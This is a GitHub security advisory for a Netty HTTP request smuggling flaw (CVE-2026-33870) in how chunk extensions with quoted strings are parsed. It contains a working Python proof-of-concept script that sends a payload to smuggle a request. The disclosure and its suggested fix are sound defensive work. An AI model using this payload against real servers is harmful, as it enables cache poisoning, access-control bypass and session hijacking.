GitHub Advisoryadvisory · Maven
GHSA-pwqr-wmgm-9rr8 Netty: HTTP Request Smuggling via Chunked Extension Quoted-String Parsing
HIGH
Official page ↗
- Aliases
- CVE-2026-33870
- Ecosystem
- Maven
- Packages
- io.netty:netty-codec-http
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
- Weaknesses
- CWE-444
- Reviewed
- 2026-03-26
Affected packages
• Maven io.netty:netty-codec-http: < 4.1.132.Final → fixed in 4.1.132.Final
• Maven io.netty:netty-codec-http: >= 4.2.0.Alpha1, < 4.2.10.Final → fixed in 4.2.10.Final
Description
Summary
Netty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.
Background
This vulnerability is a new variant discovered during research into the "Funky Chunks" HTTP request smuggling techniques:
•
•
The original research tested various chunk extension parsing differentials but did not cover quoted-string handling within extension values.
Technical Details
RFC 9110 Section 7.1.1 defines chunked transfer encoding:
```
chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF
chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] )
chunk-ext-val = token / quoted-string
```
RFC 9110 Section 5.6.4 defines quoted-string:
```
quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE
```
Critically, the allowed character ranges within a quoted-string are:
```
qdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text
quoted-pair = "\" ( HTAB / SP / VCHAR / obs-text )
```
CR (`%x0D`) and LF (`%x0A`) bytes fall outside all of these ranges and are therefore not permitted inside chunk extensions—whether quoted or unquoted. A strictly compliant parser should reject any request containing CR or LF bytes before the actual line terminator within a chunk extension with a `400 Bad Request` response (as Squid does, for example).
Vulnerability
Netty terminates chunk header parsing at `\r\n` inside quoted strings instead of rejecting the request as malformed. This creates a parsing differential between Netty and RFC-compliant parsers, which can be exploited for request smuggling.
Expected behavior (RFC-compliant):
A request containing CR/LF bytes within a chunk extension value should be rejected outright as invalid.
Actual behavior (Netty):
```
Chunk: 1;a="value
^^^^^ parsing terminates here at \r\n (INCORRECT)
Body: here"... is treated as body or the beginning of a subsequent request
```
The root cause is that Netty does not validate that CR/LF bytes are forbidden inside chunk extensions before the terminating CRLF. Rather than attempting to parse through quoted strings, the appropriate fix is to reject such requests entirely.
Proof of Concept
```python
!/usr/bin/env python3
import socket
payload = (
b"POST / HTTP/1.1\r\n"
b"Host: localhost\r\n"
b"Transfer-Encoding: chunked\r\n"
b"\r\n"
b'1;a="\r\n'
b"X\r\n"
b"0\r\n"
b"\r\n"
b"GET /smuggled HTTP/1.1\r\n"
b"Host: localhost\r\n"
b"Content-Length: 11\r\n"
b"\r\n"
b'"\r\n'
b"Y\r\n"
b"0\r\n"
b"\r\n"
)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)
response = b""
while True:
try:
chunk = sock.recv(4096)
if not chunk:
break
response += chunk
except socket.timeout:
break
sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))
```
Result: The server returns two HTTP responses from a single TCP connection, confirming request smuggling.
Parsing Breakdown
| Parser | Request 1 | Request 2 |
|-----------------------|-------------------|------------------------------------|
| Netty (vulnerable) | POST / body="X" | GET /smuggled (SMUGGLED) |
| RFC-compliant parser | 400 Bad Request | (none — malformed request rejected)|
Impact
• Request Smuggling: An attacker can inject arbitrary HTTP requests into a connection.
• Cache Poisoning: Smuggled responses may poison shared caches.
• Access Control Bypass: Smuggled requests can circumvent frontend security controls.
• Session Hijacking: Smuggled requests may intercept responses intended for other users.
Reproduction
1. Start the minimal proof-of-concept environment using the provided Docker configuration.
2. Execute the proof-of-concept script included in the attached archive.
Suggested Fix
The parser should reject requests containing CR or LF bytes within chunk extensions rather than attempting to interpret them:
```
1. Read chunk-size.
2. If ';' is encountered, begin parsing extensions:
a. For each byte before the terminating CRLF:
• If CR (%x0D) or LF (%x0A) is encountered outside the
final terminating CRLF, reject the request with 400 Bad Request.
b. If the extension value begins with DQUOTE, validate that all
enclosed bytes conform to the qdtext / quoted-pair grammar.
3. Only treat CRLF as the chunk header terminator when it appears
outside any quoted-string context and contains no preceding
illegal bytes.
```
Acknowledgments
Credit to Ben Kallus for clarifying the RFC interpretation during discussion on the HAProxy mailing list.
Resources
• RFC 9110: HTTP Semantics (Sections 5.6.4, 7.1.1)
• Funky Chunks Research
• Funky Chunks 2 Research
Attachments
java_netty.zip
Related
Alias · CVE (1)
- CVE-2026-33870 Netty is an asynchronous, event-driven network application framework. vulnerability
Weakness · CWE (1)
- CWE-444 Inconsistent Interpretation of HTTP Requests weakness
References
- https://github.com/netty/netty/security/advisories/GHSA-pwqr-wmgm-9rr8 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-33870 advisory
- https://github.com/netty/netty package
- https://w4ke.info/2025/06/18/funky-chunks.html web
- https://w4ke.info/2025/10/29/funky-chunks-2.html web
- https://www.rfc-editor.org/rfc/rfc9110 web